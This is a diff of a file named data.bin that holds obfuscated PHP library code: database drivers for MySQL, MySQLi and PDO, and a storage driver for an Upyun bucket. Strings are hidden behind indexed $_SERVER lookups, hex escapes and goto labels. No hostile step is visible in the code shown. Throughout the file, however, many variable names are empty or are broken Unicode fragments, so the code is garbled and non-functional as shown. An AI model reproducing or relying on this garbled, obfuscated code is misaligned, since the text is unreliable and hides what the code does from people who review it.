diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin index 9a7c7183..abb0af94 100755 --- a/app/sdks/archiveLib/bin/data.bin +++ b/app/sdks/archiveLib/bin/data.bin @@ -1,2 +1,2 @@ config = $複; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ʋ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$ʋ])) { if (empty($)) { $ = $this->config; } $͔ = $[$[975]] . ($[$[976]] ? "\x3a{$[$[976]]}" : $[12]); $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$ʋ] = mysql_pconnect($͔, $[$[977]], $[$[978]], 131072); } else { $this->linkID[$ʋ] = mysql_connect($͔, $[$[977]], $[$[978]], !0, 131072); } if (!$this->linkID[$ʋ] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$ʋ])) { think_exception(mysql_error()); } $򳈚 = mysql_get_server_info($this->linkID[$ʋ]); mysql_query($[979] . think_config($[980]) . $[58], $this->linkID[$ʋ]); if ($򳈚 > $[981]) { mysql_query($[982], $this->linkID[$ʋ]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$ʋ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($ᕲ) { $ =& $_SERVER[]; if (0 === stripos($ᕲ, $[350])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ᕲ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($ᕲ, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($Ɖ) { $Ѷ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ɖ; if ($this->queryID) { $this->free(); } think_action_status($Ѷ[25], 1); think_status($Ѷ[24]); $͘ = mysql_query($Ɖ, $this->_linkID); $this->debug(); if (!1 === $͘) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][983], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][984], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][985], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Ҩ = array(); if ($this->numRows > 0) { while ($ɉ = mysql_fetch_assoc($this->queryID)) { $Ҩ[] = $ɉ; } mysql_data_seek($this->queryID, 0); } return $Ҩ; } public function getFields($Ș) { $ =& $_SERVER[]; $ڏɮ = $this->query($[986] . $this->parseKey($Ș)); $ө = array(); if ($ڏɮ) { foreach ($ڏɮ as $䏈 => $̀) { $ө[$̀[$[31]]] = array($[32] => $̀[$[31]], $[33] => $̀[$[34]], $[35] => (bool) (strtoupper($̀[$[36]]) === $[987]), $[37] => $̀[$[38]], $[39] => strtolower($̀[$[40]]) == $[41], $[42] => strtolower($̀[$[43]]) == $[44]); } } return $ө; } public function getTables($۳ = '') { $뾔 =& $_SERVER[]; if (!empty($۳)) { $ = $뾔[988] . $۳ . $뾔[989]; } else { $ = $뾔[990]; } $Ž = $this->query($); $ = array(); foreach ($Ž as $ => $͖) { $[$] = current($͖); } return $; } public function replace($錼, $ݼׄ = array()) { $­ =& $_SERVER[]; foreach ($錼 as $՞ => $ևȚȁ) { $֢ = $this->parseValue($ևȚȁ); if (is_scalar($֢)) { $ۻ[] = $֢; $Ӕڝ[] = $this->parseKey($՞); } } $ = $­[991] . $this->parseTable($ݼׄ[$­[365]]) . $­[992] . implode($­[50], $Ӕڝ) . $­[993] . implode($­[50], $ۻ) . $­[994]; return $this->execute($); } public function insertAll($黅, $ο = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($黅[0])) { return !1; } $ջ = array_keys($黅[0]); $Lj = array(); foreach ($黅 as $) { $ٽ = array(); foreach ($ as $ʃ => $ȹۉ) { $ȹۉ = $this->parseValue($ȹۉ); if (is_scalar($ȹۉ)) { $ٽ[] = $ȹۉ; } } $Lj[] = $[346] . implode($[50], $ٽ) . $[994]; } array_walk($ջ, array($this, $[995])); $ = ($ ? $[996] : $[997]) . $[998] . $this->parseTable($ο[$[365]]) . $[992] . implode($[50], $ջ) . $[999] . implode($[50], $Lj); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ܑʩ =& $_SERVER[]; $this->error = mysql_errno() . $ܑʩ[4] . mysql_error($this->_linkID); if ($ܑʩ[12] != $this->queryStr) { $this->error .= LNG($ܑʩ[48]) . $this->queryStr; } think_trace($this->error, $ܑʩ[12], $ܑʩ[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$°Α, $ = true) { $Қא =& $_SERVER[]; if ($) { $°Α = $this->parseKeyCheck($°Α); } if ($°Α != $Қא[230] && !preg_match($Қא[1000], $°Α)) { $°Α = $Қא[470] . trim($°Α, $Қא[470]) . $Қא[470]; } return $°Α; } } class DbMysqli extends Db { public function __construct($ǘל = '') { $³ϩ =& $_SERVER[]; if (!extension_loaded($³ϩ[1001])) { think_exception(think_lang($³ϩ[14]) . $³ϩ[1002]); } if (!empty($ǘל)) { $this->config = $ǘל; if (empty($this->config[$³ϩ[17]])) { $this->config[$³ϩ[17]] = $³ϩ[12]; } } } public function connect($ = '', $ǁ = 0) { $͇ =& $_SERVER[]; if (!isset($this->linkID[$ǁ])) { if (empty($)) { $ = $this->config; } $this->linkID[$ǁ] = new mysqli($[$͇[975]], $[$͇[977]], $[$͇[978]], $[$͇[21]], $[$͇[976]] ? intval($[$͇[976]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $韥 = $this->linkID[$ǁ]->server_version; $this->linkID[$ǁ]->query($͇[979] . think_config($͇[980]) . $͇[58]); if ($韥 > $͇[981]) { $this->linkID[$ǁ]->query($͇[982]); } $this->connected = !0; if (1 != think_config($͇[22])) { unset($this->config); } } return $this->linkID[$ǁ]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ʂ֦ = $this->_linkID->next_result()) != NULL) { $ʂ֦->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($ԇ) { $ͨ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ԇ; if ($this->queryID) { $this->free(); } think_action_status($ͨ[25], 1); think_status($ͨ[24]); $ = $this->_linkID->query($ԇ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $؝߀ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$؝߀) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($̲) { $ۛ =& $_SERVER[]; $ = $this->query($ۛ[986] . $this->parseKey($̲)); $ԏ = array(); if ($) { foreach ($ as $↳ => $Є) { $ԏ[$Є[$ۛ[31]]] = array($ۛ[32] => $Є[$ۛ[31]], $ۛ[33] => $Є[$ۛ[34]], $ۛ[35] => (bool) ($Є[$ۛ[36]] === $ۛ[12]), $ۛ[37] => $Є[$ۛ[38]], $ۛ[39] => strtolower($Є[$ۛ[40]]) == $ۛ[41], $ۛ[42] => strtolower($Є[$ۛ[43]]) == $ۛ[44]); } } return $ԏ; } public function getTables($˕鳽 = '') { $ӓí =& $_SERVER[]; $ = !empty($˕鳽) ? $ӓí[988] . $˕鳽 . $ӓí[989] : $ӓí[990]; $݊ = $this->query($); $ = array(); if ($݊) { foreach ($݊ as $ => $) { $[$] = current($); } } return $; } public function replace($ə, $޳ڋ = array()) { $¨ =& $_SERVER[]; foreach ($ə as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $˞ض[] = $; $[] = $this->parseKey($); } } $ܢ = $¨[991] . $this->parseTable($޳ڋ[$¨[365]]) . $¨[992] . implode($¨[50], $) . $¨[993] . implode($¨[50], $˞ض) . $¨[994]; return $this->execute($ܢ); } public function insertAll($, $ = array(), $ž = false) { $ꩄ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $⤨ = array_keys($[0]); $ = array(); foreach ($ as $˽) { $㘽 = array(); foreach ($˽ as $Żꋒ => $Յ) { $Յ = $this->parseValue($Յ); if (is_scalar($Յ)) { $㘽[] = $Յ; } } $[] = $ꩄ[346] . implode($ꩄ[50], $㘽) . $ꩄ[994]; } array_walk($⤨, array($this, $ꩄ[995])); $ = $ž ? $ꩄ[996] : $ꩄ[997]; $ = $ . $ꩄ[998] . $this->parseTable($[$ꩄ[365]]) . $ꩄ[992] . implode($ꩄ[50], $⤨) . $ꩄ[999] . implode($ꩄ[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $¥ =& $_SERVER[]; $this->error = $this->_linkID->errno . $¥[4] . $this->_linkID->error; if ($¥[12] != $this->queryStr) { $this->error .= LNG($¥[48]) . $this->queryStr; } think_trace($this->error, $¥[12], $¥[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$Ҕ, $멋 = true) { $޷ =& $_SERVER[]; if ($멋) { $Ҕ = $this->parseKeyCheck($Ҕ); } if ($Ҕ != $޷[230] && !preg_match($޷[1000], $Ҕ)) { $Ҕ = $޷[470] . trim($Ҕ, $޷[470]) . $޷[470]; } return $Ҕ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ߕ = '') { $ =& $_SERVER[]; if (!class_exists($[1003])) { think_exception(think_lang($[14]) . $[1004]); } if (!empty($ߕ)) { $this->config = $ߕ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($܌ = '', $߳ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$߳])) { if (empty($܌)) { $܌ = $this->config; } $̎Ň = !empty($܌[$[17]][$[18]]) ? $܌[$[17]][$[18]] : $this->pconnect; if ($̎Ň) { $܌[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$߳] = new PDO($܌[$[1005]], $܌[$[977]], $܌[$[978]], $܌[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($܌[$[1005]]); if (in_array($this->dbType, array($[1006], $[1007], $[1008], $[1009]))) { think_exception($[1010] . $this->dbType . $[1011] . $this->dbType . $[1012]); } if (!$this->linkID[$߳]) { think_exception($[1013]); } try { $this->linkID[$߳]->exec($[1014] . think_config($[980])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$߳]; } public function free() { $this->PDOStatement = null; } public function query($, $ӑ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($ӑ)) { $this->queryStr .= $[1015] . print_r($ӑ, !0) . $[1016]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ׂ = $this->PDOStatement->execute($ӑ); $this->debug(); if (!1 === $ׂ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($і, $𹙵 = array()) { $ڷΜ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $і; if (!empty($𹙵)) { $this->queryStr .= $ڷΜ[1015] . print_r($𹙵, !0) . $ڷΜ[1016]; } $ǟض = !1; if ($this->dbType == $ڷΜ[1009]) { if (preg_match($ڷΜ[1017], $this->queryStr, $רڮ)) { $this->table = think_config($ڷΜ[1018]) . str_ireplace(think_config($ڷΜ[1019]), $ڷΜ[463], $רڮ[2]); $ǟض = (bool) $this->query($ڷΜ[1020] . strtoupper($this->table) . $ڷΜ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ڷΜ[25], 1); think_status($ڷΜ[24]); $this->PDOStatement = $this->_linkID->prepare($і); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($𹙵); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ǟض || preg_match($ڷΜ[1021], $і)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ƹ蜽 = $this->_linkID->commit(); $this->transTimes = 0; if (!$ƹ蜽) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ܭ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($ܭ); return $ܭ; } public function getFields($ލۯ) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[1022])) { $ĩ = str_replace($[1023], $ލۯ, think_config($[1022])); } else { switch ($this->dbType) { case $[1006]: case $[1024]: $ĩ = "\123\x45\x4c\x45\x43\124\x20\x20\40\x63\x6f\154\165\x6d\x6e\137\x6e\141\155\x65\x20\x61\x73\40\x27\x4e\141\x6d\145\47\54\40\40\x20\x64\x61\164\x61\137\164\x79\160\x65\x20\141\163\40\x27\x54\171\160\145\47\54\x20\x20\40\x63\x6f\x6c\165\x6d\156\x5f\x64\x65\x66\x61\x75\x6c\x74\40\141\x73\40\47\x44\145\x66\x61\x75\154\x74\x27\x2c\40\40\40\x69\163\137\x6e\165\154\154\141\x62\x6c\x65\40\x61\163\x20\47\x4e\x75\x6c\x6c\x27\xa\11\x9\x46\122\x4f\115\x9\151\x6e\146\157\162\x6d\x61\x74\x69\157\156\137\x73\x63\x68\145\155\x61\56\164\141\x62\154\145\x73\x20\101\123\40\164\12\x9\x9\112\x4f\x49\x4e\x9\x69\x6e\x66\157\x72\x6d\x61\x74\x69\x6f\156\137\163\x63\150\x65\155\141\56\x63\x6f\x6c\165\155\156\x73\x20\x41\x53\40\143\xa\11\11\x4f\116\x20\40\x74\56\x74\x61\x62\154\145\x5f\x63\x61\164\141\x6c\x6f\147\x20\75\40\x63\56\x74\141\x62\x6c\145\137\143\x61\x74\x61\x6c\x6f\x67\xa\11\11\x41\116\x44\40\164\56\164\x61\142\x6c\145\x5f\163\143\150\145\155\141\x20\75\x20\x63\56\164\x61\x62\x6c\x65\137\x73\x63\150\x65\x6d\x61\xa\x9\11\101\x4e\104\40\x74\x2e\164\141\x62\154\x65\x5f\156\x61\x6d\x65\x20\x3d\40\x63\56\x74\141\142\x6c\x65\x5f\156\x61\155\x65\xa\x9\11\x57\110\105\122\x45\40\40\x20\x74\x2e\x74\141\142\x6c\145\x5f\x6e\x61\x6d\145\40\x3d\x20\x27{$ލۯ}\47"; break; case $[1025]: $ĩ = $[1026] . $ލۯ . $[1027]; break; case $[1007]: case $[1009]: $ĩ = $[1028] . $[1029] . $[1030] . strtoupper($ލۯ) . $[1031] . strtoupper($ލۯ) . $[1032]; break; case $[1033]: $ĩ = $[1034] . $ލۯ . $[1035]; break; case $[1008]: break; case $[1036]: default: $ĩ = $[1037] . ($this->dbType == $[1036] ? "\x60{$ލۯ}\140" : $ލۯ); } } $ = $this->query($ĩ); $ = array(); if ($) { foreach ($ as $ => $ڢ) { $ڢ = array_change_key_case($ڢ); $ڢ[$[32]] = isset($ڢ[$[32]]) ? $ڢ[$[32]] : $[463]; $ڢ[$[33]] = isset($ڢ[$[33]]) ? $ڢ[$[33]] : $[463]; $ۥ = isset($ڢ[$[359]]) ? $ڢ[$[359]] : $ڢ[$[32]]; $[$ۥ] = array($[32] => $ۥ, $[33] => $ڢ[$[33]], $[35] => (bool) (isset($ڢ[$[116]]) && $ڢ[$[116]] === $[12] || isset($ڢ[$[35]]) && $ڢ[$[35]] === $[12]), $[37] => isset($ڢ[$[37]]) ? $ڢ[$[37]] : (isset($ڢ[$[56]]) ? $ڢ[$[56]] : $[463]), $[39] => isset($ڢ[$[107]]) ? strtolower($ڢ[$[107]]) == $[41] : (isset($ڢ[$[57]]) ? $ڢ[$[57]] : !1), $[42] => isset($ڢ[$[1038]]) ? strtolower($ڢ[$[1038]]) == $[44] : (isset($ڢ[$[107]]) ? $ڢ[$[107]] : !1)); } } return $; } public function getTables($ո = '') { $ =& $_SERVER[]; if (think_config($[1039])) { $ɱ = str_replace($[1040], $ո, think_config($[1039])); } else { switch ($this->dbType) { case $[1007]: case $[1009]: $ɱ = $[1041]; break; case $[1006]: case $[1024]: $ɱ = $[1042]; break; case $[1033]: $ɱ = $[1043]; break; case $[1008]: think_exception(think_lang($[1044]) . $[1045]); break; case $[1025]: $ɱ = $[45] . $[46] . $[47]; break; case $[1036]: default: if (!empty($ո)) { $ɱ = $[988] . $ո . $[989]; } else { $ɱ = $[990]; } } } $ = $this->query($ɱ); $ج˲ = array(); foreach ($ as $蜂 => $ˀ) { $ج˲[$蜂] = current($ˀ); } return $ج˲; } protected function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[1033]: case $[1025]: $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } break; case $[1006]: case $[1024]: break; case $[1008]: break; case $[1007]: case $[1009]: break; case $[1036]: default: $ .= $[51] . $ . $[53]; } } return $; } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[1036]) { if ($ != $[230] && !preg_match($[1000], $)) { $ = $[470] . trim($, $[470]) . $[470]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ؠʿ =& $_SERVER[]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $ؠʿ[4] . $[2]; } else { $this->error = $ؠʿ[12]; } if ($ؠʿ[12] != $this->queryStr) { $this->error .= LNG($ؠʿ[48]) . $this->queryStr; } think_trace($this->error, $ؠʿ[12], $ؠʿ[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; switch ($this->dbType) { case $[1033]: case $[1006]: case $[1024]: case $[1036]: return addslashes($); case $[1008]: case $[1025]: case $[1007]: case $[1009]: return str_ireplace($[58], $[59], $); } } protected function parseValue($) { $Ɛ =& $_SERVER[]; if (is_string($)) { $ֱؕ = strpos($, $Ɛ[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ֱؕ ? $this->escapeString($) : $Ɛ[1046] . $this->escapeString($) . $Ɛ[1046]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $Ɛ[382]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $Ɛ[1047]), $); } elseif (is_bool($)) { $ = $ ? $Ɛ[101] : $Ɛ[238]; } elseif (is_null($)) { $ = $Ɛ[116]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[1033]: case $[1025]: case $[1006]: case $[1024]: case $[1008]: case $[1036]: return $this->_linkID->lastInsertId(); case $[1007]: case $[1009]: $ = $this->table; $ɹ = $this->query("\123\105\114\x45\x43\124\40{$}\56\x63\x75\x72\162\x76\141\154\x20\x63\x75\x72\162\x76\x61\x6c\x20\106\x52\117\115\x20\x64\165\141\154"); return $ɹ ? $ɹ[0][$[1048]] : 0; } } } goto C׋Ď; dڴֆ: class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ = false, $é = 0, $脧 = 0) { if (!$脧) { $脧 = $this->sourceSize; } $Ψ溓 = $this->sourceSize - $é; if ($脧 >= $Ψ溓) { $脧 = $Ψ溓; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $é, $脧); } if ($this->sourceType == self::TYPE_FILE) { if ($脧 <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $é); $ = @fread($this->source, $脧); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($ޯ, $Ԇ = 0) { $﹔ = new PathDriverStream($ޯ, $Ԇ); return $﹔->hashSimple($ޯ); } public static function md5($Ωȟ, $ = 0) { $݄ = new PathDriverStream($Ωȟ, $); return $݄->hashMd5($Ωȟ); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\164\x74\160\x3a\x2f\x2f\166\x30\x2e\x61\x70\151\56\x75\160\x79\165\156\x2e\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($Ӟ󨍥) { parent::__construct(); $this->_init($Ӟ󨍥); } public function _init($Гȥ) { $ =& $_SERVER[]; foreach ($Гȥ as $㧣 => $獣) { if (isset($this->{$㧣})) { $this->{$㧣} = $獣; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1554] . LNG($[1473])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($˪, $񣤝 = "\x47\x45\124") { $犐 =& $_SERVER[]; $゗ = gmdate($犐[1502]); $݊ = base64_encode(hash_hmac($犐[1555], "{$񣤝}\46{$˪}\x26{$゗}", md5("{$this->userpass}"), !0)); $ = array("\x41\x75\x74\x68\157\x72\151\x7a\x61\x74\151\157\156\x3a\x55\120\x59\x55\116\x20{$this->username}\72{$݊}", "\x44\141\164\x65\72{$゗}"); return $; } public function ussRequest($Ύ, $磋 = "\x47\x45\124", $ = false, $ᚶؑ = false, $󧖱 = false) { $ά =& $_SERVER[]; $Ύ = trim($Ύ, $ά[8]); $ȭ = "\x2f{$this->bucket}\x2f{$Ύ}"; $͹̫ = $this->ussHeaders($ȭ, $磋); if ($ᚶؑ) { $͹̫ = array_merge($͹̫, $ᚶؑ); } $ = url_request($this->endpoint . $ȭ, $磋, $, $͹̫, $󧖱); if (!$) { $Á = LNG($ά[1556]); $this->writeLog($Á); return array($ά[1308] => !1, $ά[1298] => $Á); } if (strtolower($磋) == $ά[237] || in_array($[$ά[1308]], array($ά[283], $ά[1557]))) { $ = $[$ά[1558]]; } else { $ = json_decode($[$ά[1298]], !0); if (!$) { $ = $[$ά[1298]]; } else { if (!$[$ά[839]] && isset($[$ά[1559]])) { $ = $[$ά[1559]]; } } } if (!$[$ά[839]]) { $this->writeLog($this->__errorMessage($)); } return array($ά[1308] => $[$ά[839]], $ά[1298] => $); } private function __errorMessage($݀) { $ =& $_SERVER[]; if (!$݀) { return $[12]; } static $ϯ = null; if (!$ϯ) { $ϯ = I18n::getType(); } if ($ϯ != $[1512]) { return $݀; } $Р = array($[1560] => $[1561], $[1562] => $[1563], $[1564] => $[1563], $[1565] => $[1566], $[1567] => $[1568], $[1569] => $[1570], $[1571] => $[1572]); return isset($Р[$݀]) ? $Р[$݀] : $݀; } public function mkfile($څ, $с = '', $ = REPEAT_RENAME) { if ($this->setContent($څ, $с)) { return $this->getPathOuter($څ); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $뎨 = trim($, $[8]); if ($this->_isFolder($뎨)) { return $this->getPathOuter($뎨); } $ = array($[1573]); $Ҟ = $this->ussRequest($뎨, $[267], !1, $); return $Ҟ[$[1308]] ? $this->getPathOuter($뎨) : !1; } public function copyFile($ȍ, $) { $ =& $_SERVER[]; $ = array($[1574] . "\x2f{$this->bucket}\57{$ȍ}", $[1575]); $٘ = $this->ussRequest($, $[269], !1, $); return $٘[$[1308]] ? !0 : $this->getPathOuter($); } public function moveFile($, $օ誰) { $ =& $_SERVER[]; $ًǝ = array($[1576] . "\57{$this->bucket}\x2f{$}", $[1575]); $禛 = $this->ussRequest($օ誰, $[269], !1, $ًǝ); return $禛[$[1308]] ? !0 : $this->getPathOuter($օ誰); } public function delFile($) { $ =& $_SERVER[]; $Ԟօ = $this->ussRequest($, $[1577]); return $Ԟօ[$[1308]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $҈ = array(); $this->fileList($, $, $҈, !0); $this->listItemCache = !0; foreach ($҈ as $) { $· = $this->ussRequest($[$[32]], $[1577]); if (!$·[$[1308]]) { return !1; } } foreach ($ as $) { $· = $this->ussRequest($, $[1577]); if (!$·[$[1308]]) { return !1; } } $· = $this->ussRequest($, $[1577]); return $·[$[1308]]; } public function rename($, $) { if ($this->isFile($)) { $ = get_path_father($) . $; return $this->moveFile($, $); } return $this->renameObject($, $); } public function fileInfo($, $ = false, $ҕ = array()) { $ؙȪ =& $_SERVER[]; $ = array($ؙȪ[32] => $this->pathThis($), $ؙȪ[97] => $this->getPathOuter($ؙȪ[8] . $), $ؙȪ[33] => $ؙȪ[240], $ؙȪ[89] => isset($ҕ[$ؙȪ[89]]) ? $ҕ[$ؙȪ[89]] : 0, $ؙȪ[179] => $this->ext($)); if ($) { return $; } $[$ؙȪ[241]] = $[$ؙȪ[98]] = 0; $[$ؙȪ[242]] = $[$ؙȪ[243]] = !0; if (empty($ҕ)) { $ҕ = $this->objectMeta($); if (!$ҕ) { return $; } } $[$ؙȪ[241]] = intval($ҕ[$ؙȪ[1578]]); $[$ؙȪ[98]] = intval($ҕ[$ؙȪ[1579]]); $[$ؙȪ[89]] = $ҕ[$ؙȪ[89]]; return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ڃ = array($[32] => $this->pathThis($), $[97] => $this->getPathOuter($[8] . $), $[33] => $[88]); if ($) { return $ڃ; } $ڃ[$[241]] = $ڃ[$[98]] = 0; $ڃ[$[242]] = $ڃ[$[243]] = !0; if (empty($񀬐)) { $񀬐 = $this->objectMeta($); if (!$񀬐) { return $ڃ; } } $ڃ[$[241]] = intval($񀬐[$[1578]]); $ڃ[$[98]] = intval($񀬐[$[1579]]); return $ڃ; } private function listObjs($Ю, $ = 0, $ = 1000) { $ =& $_SERVER[]; $̒ = array($[1580], $[1581] . $); if ($) { $̒[] = $[1582] . $; } $ = $this->ussRequest($Ю, $[271], !1, $̒); return !$[$[1308]] ? !1 : $[$[1298]]; } private function fileList($¢, &$ɸ, &$, $â = false) { $ =& $_SERVER[]; $ = $[12]; $ = 1000; $Ϲ = rtrim($¢, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($¢, $, $); if (!$) { return !1; } $ = isset($[$[1583]]) ? $[$[1583]] : $[12]; $ӧ = isset($[$[1584]]) ? $[$[1584]] : array(); foreach ($ӧ as $ˉ) { $ܓ = $ˉ[$[33]] == $[88] ? !0 : !1; $୤ = ltrim($Ϲ . $ˉ[$[32]], $[8]) . ($ܓ ? $[8] : $[12]); $ڿ = array($[32] => $୤, $[33] => $ܓ ? $[88] : $[240], $[89] => $ˉ[$[422]], $[1579] => $ˉ[$[1585]]); $this->cacheMethodInfoSet($୤, $ܓ, $ڿ); if ($ܓ) { $ɸ[] = $୤; if ($â) { $this->fileList($୤, $ɸ, $, $â); } continue; } $[] = $ڿ; } if (count($ӧ) < $) { break; } } $this->cacheMethodInfoSet($¢, !0); } public function listPath($ٴ, $󂇻 = false) { $ʑ =& $_SERVER[]; $Я¤ = $̔ = array(); $this->fileList($ٴ, $Я¤, $̔); foreach ($Я¤ as $Ť => $) { $Я¤[$Ť] = $this->folderInfo($, $󂇻); } foreach ($̔ as $Ť => $) { $̔[$Ť] = $this->fileInfo($[$ʑ[32]], $󂇻, $); } return array($ʑ[95] => $Я¤, $ʑ[96] => $̔); } public function has($˃, $ = false, $ۛә = true) { $ҧ =& $_SERVER[]; $ = $ҧ[12]; $Ū = 500; $ = 0; $ܴ = 0; $ = rtrim($˃, $ҧ[8]) . $ҧ[8]; while (!0) { check_abort(); $ = $this->listObjs($˃, $, $Ū); if (!$) { return !1; } $ = isset($[$ҧ[1583]]) ? $[$ҧ[1583]] : $ҧ[12]; $Şɑ = 